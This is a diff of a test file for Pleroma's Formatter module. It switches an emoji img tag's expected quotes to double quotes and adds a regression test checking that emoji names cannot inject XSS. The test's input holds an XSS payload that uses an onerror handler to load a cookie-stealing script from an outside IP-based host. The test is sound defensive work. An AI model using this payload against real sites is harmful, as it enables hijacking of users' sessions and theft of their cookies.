|
|
@@ -189,11 +189,26 @@ defmodule Pleroma.FormatterTest do |
|
|
|
text = "I love :moominmamma:" |
|
|
|
|
|
|
|
expected_result = |
|
|
|
"I love <img height='32px' width='32px' alt='moominmamma' title='moominmamma' src='/finmoji/128px/moominmamma-128.png' />" |
|
|
|
"I love <img height=\"32px\" width=\"32px\" alt=\"moominmamma\" title=\"moominmamma\" src=\"/finmoji/128px/moominmamma-128.png\" />" |
|
|
|
|
|
|
|
assert Formatter.emojify(text) == expected_result |
|
|
|
end |
|
|
|
|
|
|
|
test "it does not add XSS emoji" do |
|
|
|
text = |
|
|
|
"I love :'onload=\"this.src='bacon'\" onerror='var a = document.createElement(\"script\");a.src=\"//51.15.235.162.xip.io/cookie.js\";document.body.appendChild(a):" |
|
|
|
|
|
|
|
custom_emoji = %{ |
|
|
|
"'onload=\"this.src='bacon'\" onerror='var a = document.createElement(\"script\");a.src=\"//51.15.235.162.xip.io/cookie.js\";document.body.appendChild(a)" => |
|
|
|
"https://placehold.it/1x1" |
|
|
|
} |
|
|
|
|
|
|
|
expected_result = |
|
|
|
"I love <img height=\"32px\" width=\"32px\" alt=\"\" title=\"\" src=\"https://placehold.it/1x1\" />" |
|
|
|
|
|
|
|
assert Formatter.emojify(text, custom_emoji) == expected_result |
|
|
|
end |
|
|
|
|
|
|
|
test "it returns the emoji used in the text" do |
|
|
|
text = "I love :moominmamma:" |
|
|
|
|
|
|
|